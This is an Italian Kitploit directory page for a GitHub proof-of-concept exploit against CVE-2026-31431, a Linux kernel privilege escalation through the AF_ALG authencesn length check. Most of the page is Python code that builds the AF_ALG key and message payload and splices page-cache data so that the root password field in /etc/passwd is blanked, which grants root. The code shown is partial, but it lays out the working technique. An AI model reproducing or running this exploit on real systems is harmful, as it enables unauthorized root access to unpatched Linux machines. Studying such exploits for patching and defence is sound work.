Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-31431-poc — Proof-of-concept exploit per CVE-2026-31431, un'escalation dei privilegi del kernel Linux tramite il bypass del controllo di lunghezza authenc di AF_ALG, che consente di ottenere i privilegi di root modificando /etc/passwd. | Kitploit
Strumenti/GitHubGitHub/yuspring/cve-2026-31431-poc
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Proof-of-concept exploit per CVE-2026-31431, un'escalation dei privilegi del kernel Linux tramite il bypass del controllo di lunghezza authenc di AF_ALG, che consente di ottenere i privilegi di root modificando /etc/passwd.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
333 mesi faNon ancora revisionato

CVE 2026-31431 POC

Questa vulnerabilità sfrutta un errore nel controllo della lunghezza di authencesn in Linux, che causa il write back di pagine dirty in aree a cui l'utente non ha permessi, determinando un'escalation dei privilegi

Il principio di attacco si basa principalmente su questo repo, con alcune modifiche al payload
https://github.com/rootsecdev/cve_2026_31431

image Questa immagine mostra la patch correttiva del kernel Linux 6.12.85; in futuro tracerò il codice di queste patch

Processo di implementazione

  1. Aprire e modificare /etc/passwd nella RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

L'obiettivo è cambiare la password di root in /etc/passwd in una password vuota (senza passare dalla verifica di /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Connettere il socket e costruire il payload
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Inviare il payload tramite il socket per causare il write back delle pagine dirty nel file
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Riferimenti

https://xint.io/blog/copy-fail-linux-distributions

Scarica lo strumento